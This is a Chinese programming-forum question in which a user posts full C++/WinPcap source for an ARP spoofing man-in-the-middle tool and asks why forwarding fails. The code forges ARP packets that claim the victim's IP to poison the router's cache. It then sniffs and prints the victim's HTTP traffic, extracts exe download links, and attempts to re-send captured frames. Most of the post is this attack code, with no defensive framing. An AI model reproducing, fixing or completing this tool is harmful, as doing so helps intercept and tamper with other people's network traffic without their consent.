shizhong_q 2015-07-07 01:25 采纳率: 0%
浏览 3178
已结题

基于winpcap的arp中间人攻击(使用C++),目前无法转发数据包

为了方便叙述,称目标机器为B机器。本机为A机器。

实现思路如下:

A机器一直向路由发送arp请求包,问路由的MAC地址,但是arp包里的发送方IP是B机器的,这样就完成了欺骗路由。达到获取B机器数据返回包的目的。

我程序抓包时候解析包了,判断出来HTTP包打印到屏幕上

目前可以成功的看到B机器打开网站后,从路由返回过来的HTTP包

现在的问题主要有两个:

1.设置过滤器的问题

利用winpcap设置过滤器后,就看不到B机器的包了,不知道是不是过滤器语法有问题。但是编译语法时候也没提示错误。

过滤语法如下:

dst host 192.168.1.100(这是B的IP地址)
下面放上代码,本人菜鸟,写的很渣,还请各位大牛不吝赐教啊!

编译环境:VC6.0+WIN7+winpcap4.x

  • 写回答

2条回答 默认 最新

  • shizhong_q 2015-07-07 01:27
    关注

    arp.cpp

    
    #define REMOTE
    #define _W64
    #include "pcap.h"
    #include "ARPfunc.h"
    #include <process.h>
    
    #pragma comment(lib,"wpcap")
    #pragma comment(lib,"ws2_32")
    
    /*
        两个线程函数
        函数名:ARPspoofing
        功能:实现arp欺骗
        参数:一个ARP数据包的对象
        发送速率在函数内控制
    */
    unsigned int __stdcall ARPspoofing(void *param);
    
    int main()
    {
        ARPdata data = ARP::filtpacket();
        HardInfo h = SelectNethard();
        ARP arp(&h,data);
        HANDLE WaitHandle[2];
        WaitHandle[0] = (HANDLE)_beginthreadex(NULL,0,ARPspoofing,(void *)&arp,0,NULL);
        //WaitHandle[1] = (HANDLE)_beginthreadex(NULL,0,ARPspoofing,(void *)&arp,0,NULL);
        HardWare hardware(&h);
        char filter[] = "dst host 192.168.1.110";
    
        hardware.setfilter(filter);
        hardware.startSniff();
        WaitForSingleObject(WaitHandle[0],INFINITE);
        return 0;
    }
    
    
    
    
    unsigned int __stdcall ARPspoofing(void *param)
    {
        ARP *arp = (ARP *)param;
        while(1)
        {
            arp->send_packet();
            Sleep(1000);
        }
    
    }
    
    //ARPfunc.h
    #include <iostream>
    #include "ARPinit.h"
    using namespace std;
    /**********************************************
        函数名:PrintNethard
        功能:  打印网卡
    ***********************************************/
    int caonima = 0;
    HardInfo SelectNethard()
    {
        caonima++;
        HardInfo hardinfo;
        pcap_t *handle;//打开网卡的句柄
        pcap_if_t *Devs;
        pcap_if_t *i;
        char Errbufer[256];
        if(-1 == pcap_findalldevs(&Devs,Errbufer))
        {
            cout<<"获取网卡出错,错误信息: %s"<<Errbufer;
            exit(1);
        }
        int index = 0;
        for(i = Devs; i ;i = i->next)
        {
            cout<<index<<": "<<i->name;
            if (i->description)
            {
                cout<<"<"<<i->description<<">\n";
            }
            else
            {
                cout<<"<"<<"No description"<<">\n";
            }
            index++;
        }
        if(index == 0)
        {
            cout<<"找不到网卡,请查看一下Winpcap是否装了"<<endl;
            exit(1);
        }
        cout<<"请输入正在工作的网卡的序号:";
        int num = 0;
    check:cin>>num;
        if(num<0 || num>index)
        {
            cout<<"无此序号的网卡,请重新输入";
            goto check;
        }
        for (i=Devs; num; num--,i=i->next);
        hardinfo.Mydev = i;
        if ((handle = pcap_open_live(i->name,                       //设备名
                                65536,                      //确保可以收到所有包
                                1,  //混杂模式
                                1000,                       //读取超时时间,有空要看看这里的非阻塞模式:)
                                Errbufer                    //错误缓存区
    
            ))==NULL)                                       //如果返回NULL打开失败,要进行后续操作
        {
            //打开网卡失败
              pcap_freealldevs(Devs);                       //释放设备
              exit(1);                                      //退出
        }
        //打开成功,返回打开后的句柄
        hardinfo.handle = handle;
        //pcap_freealldevs(Devs);
        return hardinfo;
    }
    
    
    
    /**********************************************
        HardWare类函数实现
    ***********************************************/
    HardWare::HardWare(HardInfo *hardinfo)
    {
        //构造函数暂时先这么写
        this->handle = hardinfo->handle;
        this->myDev = hardinfo->Mydev;
    }
    
    
    //发送函数
    void HardWare::send_packet(u_char *buffer,int size)
    {
        if(pcap_sendpacket(handle,buffer,size) != 0)
        {
            cout<<"发送数据包失败! 失败原因:"<<pcap_geterr(handle)<<endl;
        }
    
    }
    
    //设置过滤器
    void HardWare::setfilter(char *packet_filter)
    {
        u_long netmask;
        struct bpf_program fcode;
        if(pcap_datalink(handle) != DLT_EN10MB)
        {
            cout<<"该程序只适用于以太网"<<endl;
            exit(1);
        }
        if (myDev->addresses != NULL)
        {
            netmask=((struct sockaddr_in *)(myDev->addresses->netmask))->sin_addr.S_un.S_addr;
    
        }
        else
        {
            netmask = 0xffffff;     //这里不懂
        }
    
        while(true)
        {
            if(pcap_compile(handle,&fcode,packet_filter,1,netmask) < 0)
            {
                cout<<"过滤指令编译出错,请重新输入";
                fflush(stdin);
                gets(packet_filter);
                fflush(stdin);
                cout<<"\n";
                continue;       
            }
            else
            {
                break;
            }
    
        }
        if(pcap_setfilter(handle,&fcode) < 0 )
        {
            cout<<"过滤器设置失败,程序退出\n";
            exit(1);
        }
    }
    
    
    //开始嗅探
    void HardWare::startSniff()
    {
        EtherHead *Etherhead;
        IpHead *IPhead;
        struct pcap_pkthdr *PacketHeader;
        const u_char *PacketData;
        while (int result = pcap_next_ex(handle,&PacketHeader,&PacketData))
        {
            if(result == 0)
                continue;               //捕获超时继续捕获
            Etherhead = (EtherHead *)PacketData;
            if(Etherhead->Type == htons(ETHERTYPE_IP))
            {
                //确定是IP包,获取IP包头
                IPhead = (IpHead *)(PacketData+14);
                if(IPhead->proto == htons(TCP_PROTOCAL))
                {
                    //确定是TCP包
                    char *p = (char *)IPhead+40;
                    int len = IPhead->tlen;
                    BOOL find_http = false;
                    for(int n=0; n<len; n++)
                    {
                        if(!find_http && ((n+3<len && strncmp((p+n),"GET",strlen("GET")) ==0 )
                            || (n+4<len && strncmp((p+n),"POST",strlen("POST")) == 0)) )
                        {
                            find_http = true;
                            break;
                        }
                        // http response 
                        if(!find_http && n+8<len && strncmp((p+n),"HTTP/1.1",strlen("HTTP/1.1"))==0)
                        {
                            find_http = true;
                            break;
                        }
                    }
                    if(find_http)
                    {
                        char buffer[BUFFER_MAX_LENGTH]={0};
                        strcpy(buffer,p+n);
                        int http_len = strlen(buffer);
                        for (int i=0; i<http_len; i++)
                        {
                            if ( i+8<len && strncmp(buffer+i,"Location",strlen("Location"))==0)
                            {
                                char location[256] = {0};
                                for (int j=i;j<http_len;j++)
                                {
                                    //location[j-i] = buffer[j];
                                    if(j+3 <= http_len && strncmp(buffer+j,"exe",strlen("exe"))==0)
                                    {
                                        //exe程序
                                        //提取出来location地址 同时去掉http包最后的几个字符
                                        strncpy(location,buffer+i+10,strlen(buffer+i+8)-16);
                                        cout<<location<<endl;
                                        cout<<"\n****************************************\n\n";
    
                                    }
                                }
                            }
                        }
                        cout<<buffer<<endl;
                        cout<<"\n****************************************\n\n";
                        u_char *s = (u_char *)PacketData;
                        EtherHead *send = (EtherHead *)PacketData;
                        send->TargetMac.byte1 = 0xEC;
                        send->TargetMac.byte2 = 0x0E;
                        send->TargetMac.byte3 = 0xC4;
                        send->TargetMac.byte4 = 0x61;
                        send->TargetMac.byte5 = 0xB4;
                        send->TargetMac.byte6 = 0xED;
    
                        if(pcap_sendpacket(this->handle,(u_char *)s,sizeof(s)) != 0)
                        {
                            cout<<"发送包失败! 失败原因:"<<pcap_geterr(handle)<<endl;
                        }
    
                    }           
    
                }
            }
        }
    }
    
    
    
    
    
    /**********************************************
        ARP类的函数实现
    ***********************************************/
    //ARP包构造函数
    ARP::ARP(HardInfo *h,ARPdata D):HardWare(h)
    {
        data = D;
    }
    
    //重写arp的send_packet
    void ARP::send_packet()
    {
        if(pcap_sendpacket(handle,(u_char *)&data,sizeof(data)) != 0)
        {
            cout<<"发送arp包失败! 失败原因:"<<pcap_geterr(handle)<<endl;
        }
    
    }
    
    /*
        函数名:FillPacket
        功能:填充arp数据包
    */
    ARPdata ARP::filtpacket()
    {
        ARPdata ARPH;
        //制作etherner头
        ARPH.etherhead.TargetMac.byte1 = 0xFF; 
        ARPH.etherhead.TargetMac.byte2 = 0xFF; 
        ARPH.etherhead.TargetMac.byte3 = 0xFF;
        ARPH.etherhead.TargetMac.byte4 = 0xFF; 
        ARPH.etherhead.TargetMac.byte5 = 0xFF; 
        ARPH.etherhead.TargetMac.byte6 = 0xFF; //目标MAC地址
    
        ARPH.etherhead.SelfMac.byte1 = 0x30; 
        ARPH.etherhead.SelfMac.byte2 = 0x3A; 
        ARPH.etherhead.SelfMac.byte3 = 0x64;
        ARPH.etherhead.SelfMac.byte4 = 0x62; 
        ARPH.etherhead.SelfMac.byte5 = 0x22; 
        ARPH.etherhead.SelfMac.byte6 = 0x71; //源MAC地址
    
        ARPH.etherhead.Type = htons(0x0806);//协议类型为ARP
    
        //制作etherner头 结束
    
        //制作arp头 开始
        ARPH.HardwareType =htons(0x0001);//10M Ethernet
    
        ARPH.ProtocolType =htons(0x0800);//协议类型为IP
    
        ARPH.HardwareSize = 6 ; //硬件地址长度
    
        ARPH.ProtocolSize = 4 ; //IP地址长度
    
        ARPH.Opcode = htons(0x0001) ; //请求操作  
    
        //初始化三层ARP的MAC地址
        ARPH.SelfMac.byte1 = 0x30; 
        ARPH.SelfMac.byte2 = 0x3A; 
        ARPH.SelfMac.byte3 = 0x64;
        ARPH.SelfMac.byte4 = 0x62; 
        ARPH.SelfMac.byte5 = 0x22;
        ARPH.SelfMac.byte6 = 0x71; //Sender MAC地址
    
        ARPH.SelfIp.byte1=192;
        ARPH.SelfIp.byte2=168;
        ARPH.SelfIp.byte3=1;
        ARPH.SelfIp.byte4=110;                      //Sender IP地址 
        //////////////////////////
    
    
        ARPH.TargetMac.byte1 = 0x00; 
        ARPH.TargetMac.byte2 = 0x00; 
        ARPH.TargetMac.byte3 = 0x00;
        ARPH.TargetMac.byte4 = 0x00; 
        ARPH.TargetMac.byte5 = 0x00; 
        ARPH.TargetMac.byte6 = 0x00; //Target MAC地址
    
    
        ARPH.TargetIp.byte1=192;
        ARPH.TargetIp.byte2=168;
        ARPH.TargetIp.byte3=1;
        ARPH.TargetIp.byte4=1;       //Target IP地址
    
    
        //填充pad
        //这里的PAD不知道干什么用的 抓包没有看到pad部分
    
        for(int i=0;i<18;i++)
        {
            ARPH.padding[i]=0;
        }
        return ARPH;
    };
    
    //ARPinit.h
    #include <iostream>
    
    #define ETHER_ADDR_LEN 6 /* ethernet address */
    #define ETHERTYPE_IP 0x0800 /* IP标志 */
    #define TCP_PROTOCAL 0x0600 /* TCP标志 */
    #define BUFFER_MAX_LENGTH 65536 /* 最大长度 */
    
    struct HardInfo{
        pcap_t *handle;
        pcap_if_t *Mydev;
    };
    struct MacAddress{
        u_char byte1,byte2,byte3,byte4,byte5,byte6;
    };
    struct IpAddress{
        u_char byte1,byte2,byte3,byte4;
    };
    //以太网头
    struct EtherHead{
        MacAddress TargetMac;   //目标MAC地址
        MacAddress SelfMac;     //源MAC地址
        WORD Type;              //帧类型
    };
    //ip包头
    struct IpHead{
           u_char ver_ihl;         /* version and ip header length */
           u_char tos;             /* type of service */
           u_short tlen;           /* total length */
           u_short identification; /* identification */
           u_short flags_fo;       // flags and fragment offset
           u_char ttl;             /* time to live */
           u_char proto;           /* protocol */
           u_short crc;            /* header checksum */
           IpAddress selfip;       /* source address */
           IpAddress targetip;       /* destination address */
           u_int op_pad;           /* option and padding */
    };
    //ARP数据包
    struct ARPdata{
        EtherHead etherhead;    //以太网头部
        WORD HardwareType;      //硬件类型
        WORD ProtocolType;      //协议类型
        u_char HardwareSize;    //硬件地址长度
        u_char ProtocolSize;    //协议地址长度
        WORD Opcode;            //OP,操作码 控制是request还是replay
        MacAddress SelfMac;     //发送方MAC地址
        IpAddress SelfIp;       //发送方IP地址
        MacAddress TargetMac;   //目标MAC地址
        IpAddress TargetIp;     //目标IP地址
        BYTE   padding[18];     //填充0   不知道干啥用的
    
    };
    
    
    
    /*
        函数声明
        函数实现在ARPfunc.h里面
    */
    
    HardInfo SelectNethard ();          //打印网卡列表,便于用户选择,返回值为打开网卡返回的句柄
    
    
    /*
        HardWare类
        用于初始化一个网卡,并且具有监听和发送功能
    */
    class HardWare{
        public:
            HardWare(HardInfo *hardinfo);
    
            void send_packet(u_char *buffer,int size);
            void setfilter(char *packet_filter);
            void startSniff();
    
    
        protected:
            pcap_t *handle;     //打开网卡句柄,希望可以在派生类中访问handle
            pcap_if_t *myDev;   //硬件句柄
    };
    
    
    
    
    
    
    /*
        ARP类:描述一个arp数据包的格式
    */
    class ARP:public HardWare{
        public:
            static ARPdata filtpacket();
            ARPdata data;           //ARP包的DATA部分
            ARP(HardInfo *h,ARPdata D);
            void send_packet();
    
    
    };
    
    评论

报告相同问题?

悬赏问题

  • ¥15 算法使用了tf-idf,用手肘图确定k值确定不了,第四轮廓系数又太小才有0.006088746097507285,如何解决?(相关搜索:数据处理)
  • ¥15 彩灯控制电路,会的加我QQ1482956179
  • ¥200 相机拍直接转存到电脑上 立拍立穿无线局域网传
  • ¥15 (关键词-电路设计)
  • ¥15 如何解决MIPS计算是否溢出
  • ¥15 vue中我代理了iframe,iframe却走的是路由,没有显示该显示的网站,这个该如何处理
  • ¥15 操作系统相关算法中while();的含义
  • ¥15 CNVcaller安装后无法找到文件
  • ¥15 visual studio2022中文乱码无法解决
  • ¥15 关于华为5g模块mh5000-31接线问题